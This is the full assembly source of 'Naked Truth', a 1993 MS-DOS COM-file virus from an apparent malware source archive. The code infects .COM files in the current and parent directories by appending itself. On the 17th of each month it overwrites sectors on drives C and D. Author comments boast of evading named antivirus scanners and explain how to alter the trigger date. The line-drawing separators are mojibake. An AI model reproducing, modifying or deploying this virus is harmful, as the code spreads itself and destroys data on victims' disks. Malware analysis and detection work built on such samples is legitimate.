MalwareSourceCode/MSDOS/N-Index/Virus.MSDOS.Unknown.naktruth.asm
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2022-08-21 04:07:57 -05:00

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NASM
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; VirusName : Naked Truth
; Country : Sweden
; Author : The Unforiven / Immortal Riot
; Date : 17/09/1993
;
; This is a mutation of the virus Born on the Fourth of July
; This was written by TBSI. Mcafee scan used to find it as the
; "ash" virus. But I changed on a few bytes, and he's now tricked.
; Dr Alan Salomon "string" where placed at the beginning
; of the code, but now he's cheated too..So...enjoy!
;
; This is a non-overwriting com infector, it is not resident.
; It checks which day it is, and if it is the 17:ten the
; virus will have a redeeming. A redeeming is very nice.
;
; This might not be the best mutation, but afterall, it
; cheats the most common virus scanners. This was born
; the seventeen of September 1993 (hate all date-names)
;
; Scan v108 can't find this, neither can S&S Toolkit 6.54,
; havn't tried with TBScan/F-Prot, but they will probably
; identify it as the "ash" virus.
;
; Regards : The Unforgiven / Immortal Riot
code segment word public 'code' ;
assume cs:code,ds:code ; I assume that too :)
org 100h ;
main proc;edure ; Old pascal coder ?
TITLE Naked Truth ;Mutation Name...
TOF: ;Top-Of-File
jmp short begin ;Skip over program
NOP ;Reserve 3rd byte
EOFMARK: db 26 ;Disable DOS's TYPE
DB 0 ; <- S&S Toolkit "String-Cheater".
first_four: nop ;First run copy only!
address: int 20h ;First run copy only!
check: nop ;First run copy only!
begin: call nextline ;Push BP onto stack
nextline: pop bp ;BP=location of Skip
sub bp,offset nextline ;BP=offset from 1st run
mov byte ptr [bp+offset infected],0
;Reset infection count
lea si,[bp+offset first_four] ;Original first 4 bytes
mov di,offset tof ;TOF never changes
mov cx,4 ;Lets copy 4 bytes
cld ;Read left-to-right
rep movsb ;Copy the 4 bytes
mov ah,1Ah ;Set DTA address ...
lea dx,[bp+offset DTA] ; ... to *our* DTA
int 21h ;Call DOS to set DTA
mov ah,4Eh ;Find First ASCIIZ
lea dx,[bp+offset immortal] ;DS:DX -} '*.COM',0
lea si,[bp+offset filename] ;Point to file
push dx ;Save DX
jmp short continue ;Continue...
return:
mov ah,1ah ;Set DTA address ...
mov dx,80h ; ... to default DTA
int 21h ;Call DOS to set DTA
xor ax,ax ;AX= 0
mov bx,ax ;BX= 0
mov cx,ax ;CX= 0
mov dx,ax ;DX= 0
mov si,ax ;SI= 0
mov di,ax ;DI= 0
mov sp,0FFFEh ;SP= 0
mov bp,100h ;BP= 100h (RETurn addr)
push bp ; Put on stack
mov bp,ax ;BP= 0
ret ;JMP to 100h
nextfile: or bx,bx ;Did we open the file?
jz skipclose ;No, so don't close it
mov ah,3Eh ;Close file
int 21h ;Call DOS to close it
xor bx,bx ;Set BX back to 0
skipclose: mov ah,4Fh ;Find Next ASCIIZ
continue: pop dx ;Restore DX
push dx ;Re-save DX
xor cx,cx ;CX= 0
xor bx,bx
int 21h ;Find First/Next
jnc skipjmp
jmp NoneLeft ;Out of files
skipjmp: mov ax,3D02h ;open file
mov dx,si ;point to filespec
int 21h ;Call DOS to open file
jc nextfile ;Next file if error
mov bx,ax ;get the handle
mov ah,3Fh ;Read from file
mov cx,4 ;Read 4 bytes
lea dx,[bp+offset first_four] ;Read in the first 4
int 21h ;Call DOS to read
cmp byte ptr [bp+offset check],26 ;Already infected?
je nextfile ;Yep, try again
cmp byte ptr [bp+offset first_four],77 ;
je nextfile ;
mov ax,4202h ;LSeek to EOF
xor cx,cx ;CX= 0
xor dx,dx ;DX= 0
int 21h ;Call DOS to LSeek
cmp ax,0FD00h ;Longer than 63K?
ja nextfile ;Yep, try again...
mov [bp+offset addr],ax ;Save call location
mov ah,40h ;Write to file
mov cx,4 ;Write 4 bytes
lea dx,[bp+offset first_four] ;Point to buffer
int 21h ;Save the first 4 bytes
mov ah,40h ;Write to file
mov cx,offset eof-offset begin ;Length of target code
lea dx,[bp+offset begin] ;Point to virus start
int 21h ;Append the virus
mov ax,4200h ;LSeek to TOF
xor cx,cx ;CX= 0
xor dx,dx ;DX= 0
int 21h ;Call DOS to LSeek
mov ax,[bp+offset addr] ;Retrieve location
inc ax ;Adjust location
mov [bp+offset address],ax ;address to call
mov byte ptr [bp+offset first_four],0E9h ;JMP rel16
mov byte ptr [bp+offset check],26 ;EOFMARK
mov ah,40h ;Write to file
mov cx,4 ;Write 4 bytes
lea dx,[bp+offset first_four] ;4 bytes are at DX
int 21h ;Write to file
inc byte ptr [bp+offset infected] ;increment counter
jmp nextfile ;Any more?
NoneLeft: cmp byte ptr [bp+offset infected],2 ;2 infected
jae TheEnd ;Party over!
mov di,100h ;DI= 100h
cmp word ptr [di],20CDh ;an INT 20h?
je daycheck ;je daycheck
; <20><>-<2D><><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>----<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD>-
; Here instead of "JE" to theend here, jump to Daycheck, and if the day
; isn't the 17:ten, just continue to theend, but if it is, have phun...
; <20><>-<2D><><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>----<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD>-
lea dx,[bp+offset riot] ;dot-dot method..
; MOV DX,OFFSET RIOT ;shitty liner..
mov ah,3Bh ;Set current directory
int 21h ;CHDIR ..
jc TheEnd ;We're through!
mov ah,4Eh ;check for first com
jmp continue ;Start over in new dir
; <20><>-<2D><><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>----<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD>-
; If you want to get a redeeming on some special month, just look at the
; call to daycheck at "nonleft" and the call to daycheck. Change the call
; to monthcheck, and "delete" the ";" on procedure monthcheck. But
; remember, that makes, the virus much less destructive, and by that time,
; all scanners has probably added a new scan-string on this one. Now it will
; go off the 17:th every month. Feel free to modify this date as much you
; want to.
; <20><>-<2D><><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>-<2D><>-
; monthcheck: ; check what month it is..
; mov ah,2ah ;
; int 21h ; dos to your service..
; cmp dh,10 ; check if month 10..
; je daycheck ; if yes jump to day check
; jmp theend ; otherwise jump to theend.
; <20><>-<2D><><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>----<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD>-
DAYCHECK: ; Check what day it is..
mov ah,2ah ;
int 21h ; Dos to your service..
cmp dl,17 ; Check if it's the forbidden night..
je redeeming ; If yes, have a great fuck..
jmp theend ; Otherwise jump to theend
REDEEMING: ; Havi'n such a great fuck..
cli ; Cleaning all interrupts..>
mov ah,2 ; Starting with drive C
cwd ; Starting it from 0
mov cx,0100h ; Continue to 256
int 026h ; Direct disk-write
jmp KARO ; Jump For Joy..(J4J)..
KARO: ; Yet another..
CLI ; No law-breakers here!
MOV AL,3 ; Set to fry drive D
MOV CX,700 ; Set to write 700 sectors
MOV DX,00 ; Starting at sector 0
MOV DS,[DI+99] ; Put random crap in DS
MOV BX,[DI+55] ; More crap in BX
CALL REDEEMING ; Start it all over..
TheEnd: jmp return ; Getting a gold medal ?
Immortal: db '*.COM',0 ;File Specification
Riot: db '..',0 ;'Dot-Dot'
MutationName: db " Naked Truth! "
Sizefilling: db " Hi-Tech Assasins - Ready To Take On The World "
morefilling: db " // DEATH TO ALL - PEACE AT LAST // "
Copyleft: db ' The Unforgiven / Immortal Riot '
; <20><>-<2D><><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>----<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD>-
; None of this information is included in the virus's code. It is only
; used during the search/infect routines and it is not necessary to pre-
; serve it in between calls to them.
; <20><>-<2D><><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>----<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD>-
EOF: ;End Of File..
DTA: db 21 dup (?) ;internal search's data
attribute db ? ;attribute
file_time db 2 dup (?) ;file's time stamp
file_date db 2 dup (?) ;file's date stamp
file_size db 4 dup (?) ;file's size
filename db 13 dup (?) ;filename
infected db ? ;infection count
addr dw ? ;Address
main endp;rocedure
code ends;egment
end main
; Greets goes out to : Raver, Metal Militia, Scavenger
; and all other hi-tech assasins all over the world...